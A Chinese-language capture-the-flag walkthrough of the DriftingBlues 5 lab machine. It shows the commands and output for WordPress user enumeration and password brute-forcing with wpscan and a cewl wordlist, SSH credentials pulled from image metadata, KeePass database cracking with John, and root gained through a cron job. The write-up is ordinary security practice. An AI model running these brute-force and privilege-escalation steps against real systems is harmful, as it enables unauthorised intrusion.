Download:Driftingblues 5
Found
首先,我们要确定目标的IP地址。因为是在同一网段,这里使用arp-scan
进行主机发现。
shell
arp-scan 172.16.9.0/24
也可以使用
fping
或者netdiscover
*根据arp-scan扫描的结果判断主机IP可能为*172.16.9.185
Collect
找到主机IP后就可以对其进行信息收集。
*使用nmap进行端口扫描,探测开放端口的服务信息。*
shell
nmap -sV 172.16.9.185
发现只开放了
22
和80
两个端口。
使用chrom访问http://172.16.9.185,使用Wappalyzer
查看可以发现该服务使用的是wordpress
框架。
Attack
通过信息收集发现该网站的CMS系统为wordpress
,尝试使用wpscan
。
Enumerate
*枚举用户*
通过
wpscan
工具枚举出5个用户。
```shell
wpascan --url http://172.16.9.185 -e u
result
[i] User(s) Identified:
[+] abuzerkomurcu
| Found By: Author Posts - Author Pattern (Passive Detection)
| Confirmed By:
| Rss Generator (Passive Detection)
| Wp Json Api (Aggressive Detection)
| - http://172.16.9.185/index.php/wp-json/wp/v2/users/?per_page=100&page=1
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] gill
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] collins
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] satanic
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] gadd
| Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Confirmed By: Login Error Messages (Aggressive Detection)
[+] Performing password attack on Wp Login against 5 user/s
```
这里爆破密码有两种方式,一个是**使用rockyou.txt
kali自带字典**爆破,一个是*使用*cewl
自定义单词列表生成器**生成密码字典进行爆破。
经过测试,使用
rockyou
字典有大概14000000
个密码,gill用户的密码大概在1700000行,需要时间大概为4个小时,要是闲也可以试试,由于不知道是哪个用户名,也可以分5个用户分开跑哈哈哈
这里我们使用第二种方法
Cewl
cewl(自定义单词列表生成器)是一个 ruby 应用程序,它爬取给定的 URL,达到指定的深度,并返回一个单词列表,然后可以将其用于密码破解程序。
```shell
cewl -d 3 -m 6 -w password.txt http://172.16.9.185
-d 3 扫描到3的深度
-m 6 因为是wordpress框架,所以密码最短为6个字符串
-w password.txt 将单词存储在一个名为password.txt 的文件中
```
Brute force
使用wpscan
配合cewl
获取到的密码进行用户爆破。
shell
wpscan --url http://172.16.9.185 -e u --passwords=password.txt
最终得到: gill/interchangeable
*成功登录后台*
Get shell
本系列主题叫做Diftingblues,在后台的media中看到了一张有相关字样的图片,感觉很有归属感。
*将图片下载到本地,检查是否存在图片隐写。*
将该图片放入到WinHEX
中,发现该图片是由Photoshop编辑的。
这时候想到使用ExifTool进行信息获取。
ExifTool
ExifTool由Phil Harvey开发,是一款免费、跨平台的开源软件,用于读写和处理图像(主要)、音视频和PDF等文件的元数据(metadata)。ExifTool可以作为Perl库(Image::ExifTool)使用,也有功能齐全的命令行版本。ExifTool支持很多类型的元数据,包括Exif、IPTC、XMP、JFIF、GeoTIFF、ICC配置文件、Photoshop IRB、FlashPix、AFCP和ID3,以及众多品牌的数码相机的私有格式的元数据。
*安装*
```shell
apt安装
apt-get install libimage-exiftool-perl
源码安装
$ wget https://netix.dl.sourceforge.net/project/exiftool/Image-ExifTool-10.61.tar.gz
$ tar xvf Image-ExifTool-10.61.tar.gz
$ cd Image-ExifTool-10.61/
(rootkali2021)-[~]
perl Makefile.PL
(rootkali2021)-[~]
make && make test && make install
```
语法
```shell
读取:
exiftool [OPTIONS] [-TAG...] [--TAG...] FILE...
写入:
exiftool [OPTIONS] -TAG[+-<]=[VALUE]... FILE...
复制:
exiftool [OPTIONS] -tagsFromFile SRCFILE [-SRCTAG[>DSTTAG]...] FILE...
其他:
exiftool [ -ver | -list[w|f|r|wf|g[NUM]|d|x] ]
```
获取
```shell
(rootkali2021)-[~]
exiftool dblogo.png
ExifTool Version Number : 12.32
File Name : dblogo.png
Directory : .
File Size : 19 KiB
File Modification Date/Time : 2021:12:04 11:28:06+08:00
File Access Date/Time : 2021:12:04 11:36:20+08:00
File Inode Change Date/Time : 2021:12:04 11:36:20+08:00
File Permissions : -rw-------
File Type : PNG
File Type Extension : png
MIME Type : image/png
Image Width : 300
Image Height : 300
Bit Depth : 8
Color Type : RGB with Alpha
Compression : Deflate/Inflate
Filter : Adaptive
Interlace : Noninterlaced
SRGB Rendering : Perceptual
Gamma : 2.2
Pixels Per Unit X : 2835
Pixels Per Unit Y : 2835
Pixel Units : meters
XMP Toolkit : Adobe XMP Core 5.6-c142 79.160924, 2017/07/13-01:06:39
Creator Tool : Adobe Photoshop CC 2018 (Windows)
Create Date : 2021:02:24 02:55:28+03:00
Metadata Date : 2021:02:24 02:55:28+03:00
Modify Date : 2021:02:24 02:55:28+03:00
Instance ID : xmp.iid:562b80d4-fe12-8541-ae0c-6a21e7859405
Document ID : adobe:docid:photoshop:7232d876-a1d0-044b-9604-08837143888b
Original Document ID : xmp.did:5890be6c-649b-0248-af9b-19889727200c
Color Mode : RGB
ICC Profile Name : sRGB IEC61966-2.1
Format : image/png
History Action : created, saved
History Instance ID : xmp.iid:5890be6c-649b-0248-af9b-19889727200c, xmp.iid:562b80d4-fe12-8541-ae0c-6a21e7859405
History When : 2021:02:24 02:55:28+03:00, 2021:02:24 02:55:28+03:00
History Software Agent : Adobe Photoshop CC 2018 (Windows), Adobe Photoshop CC 2018 (Windows)
History Changed : /
Text Layer Name : ssh password is 59583hello of course it is lowercase maybe not
Text Layer Text : ssh password is 59583hello of course it is lowercase maybe not
Document Ancestors : adobe:docid:photoshop:871a8adf-5521-894c-8a18-2b27c91a893b
Image Size : 300x300
Megapixels : 0.090
```
看起来我们得到了密码。但是,有一个额外的信息是密码可能不是小写。因此,我们将首先尝试小写的密码,如果它不起作用,那么我们将使用 hashcat 规则创建自己的单词表。
但是很幸运,一次就实验成功了。
获得ssh账号密码: gill / 59583hello
*获得第一个flag*
Privilege Escalation
成功获得gill用户权限后,人总是无法学会满足的,尝试获得root用户权限。
在gill用户目录下,发现一个名为keyfile.kdbx
的文件
*通过KeePass密码安全创建的数据文件称为KDBX文件,通常所说的KeePass的密码数据库。*
John破解
```shell
获取 keepass 数据库主密码的哈希值。
tee 将前面的输出导入到hash文件中
keepass2john keyfile.kdbx | tee hash
john hash --wordlist=/usr/share/wordlist/rockyou.txt
```
成功爆破出密码:
porsiempre
尝试使用该密码切换root
用户,失败。
使用该密码访问keepass数据库,得到其他6个密钥。
逐一测试是否为root用户密码,均失败。
linux 提权枚举
使用 linpeas.sh 进行 linux 可能存在的提权漏洞进行枚举。
使用脚本:linpeas.sh
```shell
git clone https://github.com/carlospolop/PEASS-ng.git```
这个脚本可以枚举linux操作系统几乎所有的可提权项,甚至可以通过su暴力破解本地密码。
```shell
执行脚本
./linpeas.sh
```
出乎意料的root权限:
发现除了 root 之外的其他用户也可以在keyfolder目录上读写执行。
但是进入keyfolder
文件夹后发现内容为空,失去梦想。让我偷偷看看网上大佬博客吧。。。。
监控进程
经过一些大佬的启发,说可能存在cron计划任务,可以使用pspy脚本进行进程监控。
pspy:非特权 Linux 进程监听
Download:https://github.com/DominicBreuker/pspy
pspy 是一个命令行工具,旨在在不需要 root 权限的情况下窥探进程。它允许您在执行时查看其他用户运行的命令、cron 作业等。非常适合在 CTF 中枚举 Linux 系统。也很好地向您的同事展示了为什么在命令行上将机密作为参数传递是一个坏主意。
该工具从 procfs 扫描中收集信息。放置在文件系统选定部分的 Inotify 观察者触发这些扫描以捕获短期进程。
将pspy64
工具传到靶机,并赋予执行权限。
```shell
调用工具
./pspy64
```
发现在根目录下,每分钟就执行一个key.sh的脚本文件
在 cron 作业执行命令后,将列出 keyfolder 中的文件。但是,目录中什么也没发生。因此,这意味着我们可能必须在目录中保留一个文件。
这时候就需要用到前面在https://app.keeweb.info/
发现的信息了。
将6条信息分别作为创建文件的文件名
这里有个hole,之前已经把pspy64工具放到了keyfolder文件夹中,会导致无法得到密码信息。
依次执行命令
shell
mv key /tmp/
rm *
cd /tmp
while read key; do touch $key ;done < key
*分别尝试*
```shell
测试 1
mv 2real4surreal /keyfolder/
ls -al /keyfolder # failure
rm /keyfolder/*
测试 2
mv buddyretard /keyfolder/
ls -al /keyfolder # failure
rm /keyfolder/*
测试 3
mv closet313 /keyfolder/
ls -al /keyfolder # failure
rm /keyfolder/*
测试 4
mv exalted /keyfolder/
ls -al /keyfolder # failure
rm /keyfolder/*
测试 5
mv fracturedocean /keyfolder/
ls -al /keyfolder # successful
cd /keyfolder
cat rootcreds.txt
```
成功得到root用户密码: imjustdrifting31
至此攻击结束。
END
总的来说这是一个较为困难的挑战。它有很多猜谜游戏,例如从网站获取凭据,从图像获取凭据,提升权限的方法等。但是只有克服重重困难,才能会当凌绝顶,一览众山小。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论